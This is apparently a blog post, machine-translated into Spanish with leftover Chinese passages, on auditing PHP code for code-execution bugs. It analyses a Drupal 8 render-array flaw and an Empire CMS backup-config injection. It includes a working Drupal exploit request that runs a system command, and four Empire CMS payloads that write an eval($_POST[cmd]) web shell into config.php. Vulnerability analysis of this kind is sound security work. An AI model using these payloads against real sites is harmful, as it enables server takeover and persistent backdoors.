PHP Code Audit 9 - Vulnerabilidades de ejecución de código

1. Conceptos básicos de las vulnerabilidades de ejecución de código

1. Principios y tipos de vulnerabilidad

Principio de vulnerabilidad :

El principio de la vulnerabilidad de ejecución de código es en realidad relativamente simple, porque los datos que pasamos se ejecutan como código. Esto a menudo se debe a que el desarrollador no tiene un buen control sobre lo que ingresa el usuario.

Tipo de vulnerabilidad:

  • Confusión de tipos: Este es el problema más común en las aplicaciones web, y también es la manifestación más intuitiva del principio de vulnerabilidad mencionado anteriormente, porque los datos y el código no se distinguen bien.
  • Deserialización: la serialización y la deserialización son métodos comunes en la transmisión de datos web, pero la deserialización irrazonable y la serialización controlable de datos a menudo conducen a vulnerabilidades de deserialización, que se presentarán por separado más adelante.
  • Desbordamiento de búfer: este tipo de vulnerabilidad es común en aplicaciones cliente o móviles, a menudo debido a la falta de controles de límites para lecturas y escrituras de búfer.

2. Detección de vulnerabilidades

Para PHP, detectar este tipo de vulnerabilidad es principalmente para observar algunas de nuestras funciones que pueden ejecutar código y si el código a ejecutar es controlable por el usuario. Para las funciones comunes de ejecución de código en PHP, un análisis simple es el siguiente:

  • eval(cadena $phpCode): Ejecuta la cadena como código PHP. El uso común es un caballo de Troya de una sola palabra. La cadena debe ser un código PHP válido y debe terminar con un punto y coma.
  • afirmar (): similar a eval, las cadenas se ejecutan mediante afirmar () como código PHP, pero solo se puede ejecutar una línea de código, mientras que eval puede ejecutar varias líneas de código.
  • preg_replace(): cuando se usa el modificador /e, el código se puede ejecutar mediante la ejecución de una expresión regular.
  • create_function(): crea una función anónima basada en los parámetros pasados ​​y devuelve un nombre único para ella.
  • array_map (): aplica una función definida por el usuario a cada valor de la matriz y devuelve una matriz con nuevos valores después de que se haya aplicado la función definida por el usuario. La cantidad de argumentos aceptados por la función de devolución de llamada debe ser la misma que la cantidad de matrices pasadas a la función array_map().
  • call_user_func(): llama al primer parámetro como una función de devolución de llamada.

Para obtener detalles sobre las funciones ejecutadas por el código, consulte los materiales de referencia al final del artículo.

3. Métodos comunes de defensa

Muchos sistemas tienen vulnerabilidades RCE, la mayoría de las veces no es causada por el problema de código del programa en sí, sino más bien por el uso de componentes no seguros o programas subyacentes, por lo tanto, para prevenir las vulnerabilidades RCE, es más importante monitorear la seguridad individual. nivel de inspección. El funcionamiento general es el siguiente:

  • Actualizaciones periódicas de seguridad:

    组织经常不能根据最新的威胁情报采取行动,不能及时应用补丁和更新。因此,攻击者通常也会试图攻击旧的漏洞。一旦系统和软件可用,就立即对它们进行安全更新,这对于阻止许多攻击者是非常有效的。
    
  • Monitoreo Continuo de Seguridad:

    监控网络流量和端点,以发现可疑内容并阻止利用企图。这可以通过实现某种形式的网络安全解决方案或威胁检测软件来实现。
    
  • Detectar la seguridad del software:

    简单理解就是通过动态或者静态代码检测技术,分析可能存在的安全隐患。
    

2. Análisis de vulnerabilidad de ejecución remota de código de Drupal

Primero, veamos la información pública sobre esta vulnerabilidad:

[Falló la transferencia de la imagen del enlace externo, el sitio de origen puede tener un mecanismo anti-leeching, se recomienda guardar la imagen y cargarla directamente (img-V6jnF9Kc-1659576659634)(img/image-20220801223159931.png)]

Se puede ver que el alcance de la influencia es todavía relativamente grande. Sin embargo, antes de realizar un análisis de vulnerabilidades, debemos comprender la arquitectura del sistema de Drupal.

1. Análisis de la arquitectura del sistema

Para el análisis de arquitectura aquí, dado que la versión adoptada es D8, en comparación con D7 o D6, la estructura de D8 ha cambiado mucho, por lo que solo se analiza la estructura del sistema de D8.

Estructura básica de directorios:

/core:drupal的内核文件夹,详见后文说明
/modules: 存放自定义或者下载的模块
/profiles: 存放下载和安装的自定义配置文件
/sites: 在drupal 7或者更早的版本中,主要存放站点使用的主题和模块活其他站点文件。
/themses: 存放自定义或者下载的主题
/vendor:存放代码的依赖库
index.php: drupal入口文件

Luego podemos mirar la estructura del directorio Croe:

/core/assets - drupal 所使用的各种扩展库,如jquery,ckeditor,backbone,normalizeCSS等
/core/config - drupal 中的核心配置文件
/core/includes – 模块化的底层功能函数,如模块化系统本身
/core/lib – drupal提供的原始核心类
/core/misc – 核心所需要的前端杂项文件,如JS,CSS,图片等。
/core/modules – 核心模块,大约80项左右
/core/profiles – 内置安装配置文件
/core/s – 开发人员使用的各种命里脚本
/tests – 测试相关用的文件
/core/themes – 内核主题

Para el análisis de su estructura básica de directorios, enrutamiento detallado y llamadas de controlador, etc., consulte el siguiente "marco de la serie drupal8 y análisis en profundidad de depuración dinámica de vulnerabilidades".

2. Análisis de vulnerabilidad simple

Primero, veamos la carga útil de la vulnerabilidad:

POST /index.php/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 192.168.101.152:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

Como puede ver, la ubicación de la vulnerabilidad se encuentra en /usuario/registrar.

En cuanto al principio de vulnerabilidad, se debe principalmente a que Drupal 7 propone el concepto de "matrices renderizables". Estas estructuras se implementan mediante matrices asociativas, y los pares clave-valor se pasan como parámetros de función o datos de formulario para una mejor representación de marcado y elementos de la interfaz de usuario. . El atributo del elemento marcado tiene una clave prefijada con el carácter "#", y luego en Drupal, para variables como #pre_render, #post_render, #submit, #validateetc., Drupal call_user_funclo llama de paso, por lo que conduce a la ejecución del código de la forma en que una matriz asociativa puede ser construido.

//file: \core\lib\Drupal\Core\Render\Renderer.php   
// element is rendered into the final text.
    if (isset($elements['#pre_render'])) {
    
    
      foreach ($elements['#pre_render'] as $callable) {
    
    
        if (is_string($callable) && strpos($callable, '::') === FALSE) {
    
    
          $callable = $this->controllerResolver->getControllerFromDefinition($callable);
        }
        $elements = call_user_func($callable, $elements);
      }
    }

Puede ver que el método call_user_func() se llama aquí.

Sin embargo, necesitamos saber cómo se construyen los parámetros que pasamos en los comandos de ejecución de código. Aquí debemos ingresar \core\modules\file\src\Element\ManagedFile.php para el análisis:

public static function uploadAjaxCallback(&$form, FormStateInterface &$form_state, Request $request) {
    
    
  /** @var \Drupal\Core\Render\RendererInterface $renderer */
  $renderer = \Drupal::service('renderer');
  $form_parents = explode('/', $request->query->get('element_parents'));
  // Retrieve the element to be rendered.
  $form = NestedArray::getValue($form, $form_parents);
  // Add the special AJAX class if a new file was added.
  $current_file_count = $form_state->get('file_upload_delta_initial');
  if (isset($form['#file_upload_delta']) && $current_file_count < $form['#file_upload_delta']) {
    
    
    $form[$current_file_count]['#attributes']['class'][] = 'ajax-new-content';
  }
  // Otherwise just add the new content class on a placeholder.
  else {
    
    
    $form['#suffix'] .= '<span class="ajax-new-content"></span>';
  }
  $status_messages = ['#type' => 'status_messages'];
  $form['#prefix'] .= $renderer->renderRoot($status_messages);
  $output = $renderer->renderRoot($form);

En la quinta línea de código, saque $_GET["element_parents"]y asigne a $form_parents, y luego ingréselo NestedArray::getValuepara su procesamiento:

public static function &getValue(array &$array, array $parents, &$key_exists = NULL) {
    
    
  $ref = &$array;
  foreach ($parents as $parent) {
    
    
    if (is_array($ref) && (isset($ref[$parent]) || array_key_exists($parent, $ref))) {
    
    
      $ref = &$ref[$parent];
    }
    else {
    
    
      $key_exists = FALSE;
      $null = NULL;
      return $null;
    }
  }
  $key_exists = TRUE;
  return $ref;
}

Aquí, use $parent como la ruta clave, y luego sáquelo capa por capa y devuélvalo.Cuando enviamos paylaod de acuerdo con la idea de POC, la matriz de formulario construida en este momento es la siguiente:

inserte la descripción de la imagen aquí

Luego llame al siguiente método renderRoot( form ), el método form), elf o m ) , pase el formulario a Render.php y llame a call_user_func() para ejecutarlo.

inserte la descripción de la imagen aquí

Se puede ver que el resultado después de la ejecución se guarda en $output y finalmente se envía a través del controlador send().

2. Recurrencia de la vulnerabilidad

Visitamos el sitio de destino, luego capturamos y modificamos la reproducción:

inserte la descripción de la imagen aquí

Se puede ver que el comando del sistema se ejecutó con éxito.

Sin embargo, hay una ligera diferencia entre esto y el POC anterior. Al acceder, no puede acceder directamente a /user/register, pero debe enrutar a través de index.php/user/register para acceder. Al mismo tiempo, puede ser mi sistema El motivo es que la función exec ejecuta comandos, y algunos comandos no se ejecutan, por lo que se usa la función del sistema en su lugar.

3. Análisis de vulnerabilidades de ejecución de código de Empire CMS

Inteligencia de vulnerabilidad:

inserte la descripción de la imagen aquí

1. Análisis de vulnerabilidad

Busque información pública, encuentre que el punto de vulnerabilidad está en el archivo de la base de datos de respaldo, ingrese el archivo para ver:

// file: e/admin/ebak/phome.php

$phome=$_GET['phome'];
.....
//初使化备份表
elseif($phome=="DoEbak"){
    
    
	Ebak_DoEbak($_POST,$logininid,$loginin);
}
//备份表(按文件)
elseif($phome=="BakExe"){
    
    
  .......
}
//备份表(按记录)
elseif($phome=="BakExeT"){
    
    
  ......
}

Se puede ver que cuando inicializamos la tabla de respaldo, llamamos a la función Ebak_DoEbak() y seguimos el análisis:

//file: e/admin/ebak/class/functions.php
function Ebak_DoEbak($add,$userid,$username){
    
    
	global $empire,$public_r,$fun_r,$phome_use_dbver;
	//验证权限
	CheckLevel($userid,$username,$classid,"dbdata");
	$dbname=RepPostVar($add['mydbname']);   //获取了POST传入的mydbname,并使用RepPostVar函数进行过滤。
	if(empty($dbname)){
    
    
		printerror("NotChangeDbname","history.go(-1)");
	}
	$tablename=$add['tablename'];   //获取我们传入的tablename,此处未经过滤。
  $count=count($tablename);
	if(empty($count)){
    
    
		printerror("MustChangeOneTable","history.go(-1)");
	}
	$add['baktype']=(int)$add['baktype'];
	$add['filesize']=(int)$add['filesize'];
	$add['bakline']=(int)$add['bakline'];
	$add['autoauf']=(int)$add['autoauf'];
	if((!$add['filesize']&&!$add['baktype'])||(!$add['bakline']&&$add['baktype'])){
    
    
		printerror("FileSizeEmpty","history.go(-1)");
	}
	//目录名
	$bakpath=$public_r['bakdbpath'];
	if(empty($add['mypath'])){
    
    
		$add['mypath']=$dbname."_".date("YmdHis");  //生成并使用下面的DOMkdir函数创建文件夹
	}
    DoMkdir($bakpath."/".$add['mypath']);
	//生成说明文件,将POST传入的备份说明保存在备份文件下的readme.txt中
	$readme=$add['readme']; 
	$rfile=$bakpath."/".$add['mypath']."/readme.txt";
	$readme.="\r\n\r\nBaktime: ".date("Y-m-d H:i:s");
	WriteFiletext_n($rfile,$readme);

	$b_table="";
	$d_table="";
  //如果有多个表,循环将表明读取出来,并使用“,”分隔。
	for($i=0;$i<$count;$i++){
    
    
		$b_table.=$tablename[$i].",";
		$d_table.="\$tb[".$tablename[$i]."]=0;\r\n";
    }
	//去掉最后一个,
	$b_table=substr($b_table,0,strlen($b_table)-1);
	$bakstru=(int)$add['bakstru'];
	$bakstrufour=(int)$add['bakstrufour'];
	$beover=(int)$add['beover'];
	$waitbaktime=(int)$add['waitbaktime'];
	$bakdatatype=(int)$add['bakdatatype'];
	if($add['insertf']=='insert'){
    
    
		$insertf='insert';
	}else{
    
    
		$insertf='replace';
	}
	if($phome_use_dbver=='4.0'&&$add['dbchar']=='auto'){
    
    
		$add['dbchar']='';
	}
  //定义配置文件的内容
	$string="<?php
	\$b_table=\"".$b_table."\";   						//使用双引号包裹了配置文件中的b_table的值。
	".$d_table."
	\$b_baktype=".$add['baktype'].";
	\$b_filesize=".$add['filesize'].";
	\$b_bakline=".$add['bakline'].";
	\$b_autoauf=".$add['autoauf'].";
	\$b_dbname=\"".$dbname."\";   						//使用双引号包裹了dbname的值
	\$b_stru=".$bakstru.";
	\$b_strufour=".$bakstrufour.";
	\$b_dbchar=\"".addslashes($add['dbchar'])."\";//使用双引号包裹了使用addslashes()处理后的dbchar
	\$b_beover=".$beover.";
	\$b_insertf=\"".addslashes($insertf)."\";   //使用双引号包裹了addslashes()处理后的insertf
	\$b_autofield=\",".addslashes($add['autofield']).",\";   //使用双引号包裹了使用addslashes()处理后的 autofield
	\$b_bakdatatype=".$bakdatatype.";
	?>";
	$cfile=$bakpath."/".$add['mypath']."/config.php";
	WriteFiletext_n($cfile,$string);  //将配置内容写入配置文件
	if($add['baktype']){
    
    
		$phome='BakExeT';
	}else{
    
    
		$phome='BakExe';
	}
	echo $fun_r['FirstBakSuccess']."<script>self.location.href='phome.php?phome=$phome&t=0&s=0&p=0&mypath=$add[mypath]&waitbaktime=$waitbaktime';</script>";
	exit();
}

Se puede ver que en el código anterior, muchos parámetros que pasamos están escritos en el archivo de configuración config.php, y todos están entre comillas dobles, por lo que los parámetros escritos se pueden analizar en detalle para ver si son controlables. Si el código PHP es controlable, entonces podemos lograr el efecto de la ejecución del código inyectando código PHP.

Hagamos un análisis detallado aquí, primero miremos un archivo de configuración de copia de seguridad normal:

<?php
	$b_table="phome_enewsztf";
	$tb[phome_enewsztf]=1;
	$b_baktype=0;
	$b_filesize=300;
	$b_bakline=500;
	$b_autoauf=1;
	$b_dbname="empirecms";
	$b_stru=1;
	$b_strufour=0;
	$b_dbchar="gbk";
	$b_beover=0;
	$b_insertf="replace";
	$b_autofield=",,";
	$b_bakdatatype=1;
?>

Se puede ver que el contenido que no está entre comillas existe en forma de valor. Mirando hacia atrás en el código anterior, se encuentra que los datos usan coerción de tipo numérico, por lo que no hay forma de usarlos.

De manera similar, para los datos entre comillas dobles, el $dbname que contiene se procesa mediante la función RepPostVar(), y la situación de esta función es la siguiente:

//参数处理函数
function RepPostVar($val){
    
    
	if($val!=addslashes($val)){
    
    
		exit();
	}
	CkPostStrChar($val);
	$val=str_replace(" ","",$val);
	$val=str_replace("%20","",$val);
	$val=str_replace("%27","",$val);
	$val=str_replace("*","",$val);
	$val=str_replace("'","",$val);
	$val=str_replace("\"","",$val);
	$val=str_replace("/","",$val);
	$val=str_replace(";","",$val);
	$val=str_replace("#","",$val);
	$val=str_replace("--","",$val);
	$val=RepPostStr($val,1);
	$val=addslashes($val);
	FWClearGetText($val);
	return $val;
}

Se puede ver que la mayoría de los símbolos especiales están filtrados, pero mientras no se utilicen los caracteres anteriores, el filtro de seguridad se puede omitir, lo que resulta en la inyección de código.

$[tablename] se escribe en config.php sin ningún tipo de filtrado, por lo que el código php se puede construir e insertar en el archivo, y se puede realizar la inyección de código.

$[dbchar] se escribe en config.php después de ser procesado por addedlashes() Siempre que no usemos comillas simples y dobles, el escape se puede omitir, por lo que se puede realizar la inyección de código.

$add['insertf'] usa if para juzgar, establece un valor fijo, incontrolable, por lo que no hay forma de usarlo.

$add['autofield'] también es procesado por addedlashes(), que también se puede omitir y provocar la inyección de código.

Entonces, en este punto de vulnerabilidad, podemos explotar la vulnerabilidad a través de múltiples parámetros.

2. Explotación

A través del análisis anterior, hay muchas formas de explotar la vulnerabilidad. Aquí hay algunos payoads simples:

payload1:phome=DoEbak&mydbname=123&baktype=0&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=empirecms_20220802151522&insertf=123&waitbaktime=0&readme=&autofield=${
    
    @eval($_POST[cmd])}&tablename%5B%5D=phome_ecms_article&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD

payload2: phome=DoEbak&mydbname=123&baktype=0&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=${
    
    @eval($_POST[cmd])}&bakdatatype=1&mypath=empirecms_20220802151522&insertf=123&waitbaktime=0&readme=&autofield=&tablename%5B%5D=phome_ecms_article&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD

payload3:phome=DoEbak&mydbname=${
    
    @eval($_POST[cmd])}&baktype=0&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=empirecms_20220802151522&insertf=123&waitbaktime=0&readme=&autofield=&tablename%5B%5D=phome_ecms_article&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD

payload4:phome=DoEbak&mydbname=dbname&baktype=0&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=empirecms_20220802151522&insertf=123&waitbaktime=0&readme=&autofield=&tablename%5B%5D=@eval($_POST[cmd])&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD

carga1:

inserte la descripción de la imagen aquí

carga útil2:

inserte la descripción de la imagen aquí

Otros paylaods no hacen demasiadas pruebas, el principio y el método son los mismos.

4. Referencias

Supongo que te gusta

Origin blog.csdn.net/qq_45590334/article/details/126153259
Recomendado
Clasificación